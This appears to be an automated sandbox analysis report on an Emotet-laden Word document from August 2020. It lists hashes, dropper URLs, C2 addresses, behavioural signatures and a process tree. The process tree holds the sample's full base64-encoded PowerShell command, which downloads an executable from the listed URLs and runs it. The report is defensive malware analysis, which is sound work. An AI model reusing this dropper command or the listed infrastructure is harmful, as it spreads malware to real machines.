Analysis

  • max time kernel
    141s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    22/08/2020, 12:23

General

  • Target
    emotet_e2_5ef819c78d2dff13258a913511f66a16c7070bb2cff4a6413e09c283abffcc01_2020-08-22__122032._doc.doc
  • Size 237KB
  • Sample200822-nt3az8tran
  • SHA256 5ef819c78d2dff13258a913511f66a16c7070bb2cff4a6413e09c283abffcc01
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://saimission.org/sai/fU/

  • exe.dropper

    https://toprakmedia.com/cgi-bin/F/

  • exe.dropper

    http://tonmeister-berlin.de/Dokumente/Zqmb3/

  • exe.dropper

    http://www.essand.com/test/SOx5LA/

  • exe.dropper

    http://gzamora.es/9s52_ou17husakvth9fs_resource/sFe3aa/

  • exe.dropper

    http://powerfrog.net/Anna/ifqE/

  • exe.dropper

    http://sasystemsuk.com/recruit/H/

Extracted

Family
  • emotet

C2
  • 137.119.36.33:80

  • 116.202.234.183:8080

  • 69.30.203.214:8080

  • 204.197.146.48:80

  • 87.106.136.232:8080

  • 153.163.83.106:80

  • 91.211.88.52:7080

  • 93.147.212.206:80

  • 222.214.218.37:4143

  • 189.212.199.126:443

  • 203.153.216.189:7080

  • 83.169.36.251:8080

  • 188.83.220.2:443

  • 104.236.246.93:8080

  • 173.62.217.22:443

  • 5.196.74.210:8080

  • 68.188.112.97:80

  • 139.130.242.43:80

  • 61.19.246.238:443

  • 24.179.13.119:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5ef819c78d2dff13258a913511f66a16c7070bb2cff4a6413e09c283abffcc01_2020-08-22__122032._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:408
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABQAGIAZABiAGQAdQA0AD0AKAAnAFYAcgB6ACcAKwAnAHMAdQBuAGcAJwApADsAJgAoACcAbgBlACcAKwAnAHcAJwArACcALQBpAHQAZQBtACcAKQAgACQARQBOAHYAOgB0AGUATQBwAFwAbwBmAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAFUAcgBgAEkAdABZAGAAUAByAE8AYABUAE8AYwBPAEwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAyACwAIAB0AGwAcwAnACsAJwAxACcAKwAnADEALAAgAHQAbABzACcAKQA7ACQARwB4AHcAawA5AG4AMwAgAD0AIAAoACcAVgBxAGkAbwA0ACcAKwAnADMAJwArACcAMAAnACkAOwAkAE4AawBoAHMAbABnADUAPQAoACcATABqACcAKwAnAG0AOQBtACcAKwAnAG0AeAAnACkAOwAkAEUAbQB3AG8ANQBvAHYAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGsAegBFACcAKwAnAE8AZgBmACcAKwAnAGkAYwBlACcAKwAnADIAMAAxADkAJwArACcAawB6AEUAJwApAC4AIgBSAGUAUABsAGAAQQBgAEMAZQAiACgAKABbAGMAaABBAHIAXQAxADAANwArAFsAYwBoAEEAcgBdADEAMgAyACsAWwBjAGgAQQByAF0ANgA5ACkALAAnAFwAJwApACkAKwAkAEcAeAB3AGsAOQBuADMAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAE8AZAB1AG0AMQBjAG4APQAoACcATAAnACsAJwBmACcAKwAnAHEAcgBmAG8AMwAnACkAOwAkAFgAaABnAG8AMQBwAGYAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAGIAYwBMAEkARQBOAFQAOwAkAEsAYwBnAHAAZQA5AHEAPQAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwBzACcAKwAnAGEAJwArACcAaQBtAGkAJwArACcAcwBzAGkAbwBuAC4AJwArACcAbwByAGcALwAnACsAJwBzACcAKwAnAGEAaQAvACcAKwAnAGYAVQAvACoAaAB0AHQAcABzADoALwAvAHQAbwBwAHIAYQBrAG0AJwArACcAZQBkAGkAYQAuAGMAbwBtAC8AYwAnACsAJwBnACcAKwAnAGkAJwArACcALQAnACsAJwBiAGkAJwArACcAbgAnACsAJwAvAEYAJwArACcALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AdABvAG4AbQBlACcAKwAnAGkAcwAnACsAJwB0AGUAcgAtAGIAZQAnACsAJwByAGwAJwArACcAaQBuAC4AZABlACcAKwAnAC8ARAAnACsAJwBvACcAKwAnAGsAdQBtACcAKwAnAGUAbgB0AGUALwBaAHEAJwArACcAbQAnACsAJwBiADMALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AdwAnACsAJwB3ACcAKwAnAHcAJwArACcALgBlAHMAcwAnACsAJwBhAG4AZAAnACsAJwAuACcAKwAnAGMAbwBtACcAKwAnAC8AJwArACcAdAAnACsAJwBlAHMAdAAvAFMATwAnACsAJwB4ADUAJwArACcATABBAC8AKgBoAHQAdAAnACsAJwBwACcAKwAnADoAJwArACcALwAvACcAKwAnAGcAegAnACsAJwBhAG0AJwArACcAbwByAGEAJwArACcALgBlAHMALwA5AHMANQAyAF8AJwArACcAbwAnACsAJwB1ADEAJwArACcANwBoAHUAcwBhACcAKwAnAGsAdgB0ACcAKwAnAGgAJwArACcAOQBmAHMAXwByAGUAcwBvACcAKwAnAHUAJwArACcAcgAnACsAJwBjAGUALwBzAEYAZQAnACsAJwAzAGEAYQAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBwAG8AdwBlAHIAZgByACcAKwAnAG8AZwAuAG4AZQB0AC8AJwArACcAQQBuACcAKwAnAG4AYQAvAGkAZgBxAEUALwAqAGgAdAB0AHAAOgAvAC8AcwBhAHMAeQBzAHQAZQAnACsAJwBtACcAKwAnAHMAJwArACcAdQBrAC4AYwBvAG0ALwAnACsAJwByAGUAYwAnACsAJwByAHUAaQAnACsAJwB0AC8AJwArACcASAAnACsAJwAvACcAKQAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABCAGUAdAA1AG4AawBoAD0AKAAnAFEAJwArACcAdgBjAGwAYQBqAGYAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATQBpADQAMAAwAHAAbgAgAGkAbgAgACQASwBjAGcAcABlADkAcQApAHsAdAByAHkAewAkAFgAaABnAG8AMQBwAGYALgAiAGQAYABPAHcAYABOAEwAbwBgAEEAZABmAGkAbABlACIAKAAkAE0AaQA0ADAAMABwAG4ALAAgACQARQBtAHcAbwA1AG8AdgApADsAJABVAHgANgB6AGgAdwBrAD0AKAAnAFgAJwArACcAbQBiACcAKwAnAGcAMgBtADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEUAbQB3AG8ANQBvAHYAKQAuACIATABgAGUATgBnAHQAaAAiACAALQBnAGUAIAAyADEAMgA2ADIAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQARQBtAHcAbwA1AG8AdgApADsAJABOADYAaAA0ADUAaQBqAD0AKAAnAFgAMQBlAF8AYwAnACsAJwA2ACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABZAHoAdAB0AGMAeABxAD0AKAAnAEMAOABiAGoAYQAnACsAJwA4AGsAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADUAdABvADkAMQAwAD0AKAAnAFAAJwArACcANABrADgAJwArACcAZgBxADYAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2944
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Vqio430.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Vqio430.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:3056
      • C:\Windows\SysWOW64\ActiveSyncProvider\mfAACEnc.exe
        "C:\Windows\SysWOW64\ActiveSyncProvider\mfAACEnc.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:2692

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/408-0-0x00007FFB9EF40000-0x00007FFB9F606000-memory.dmp

        memory/408-4-0x0000021C92321000-0x0000021C92324000-memory.dmp

        memory/2944-9-0x00007FFB92410000-0x00007FFB92DFC000-memory.dmp

        memory/2944-10-0x000001F4E4230000-0x000001F4E4231000-memory.dmp

        memory/2944-11-0x000001F4E43E0000-0x000001F4E43E1000-memory.dmp

        memory/3056-15-0x00000000001F0000-0x00000000001FC000-memory.dmp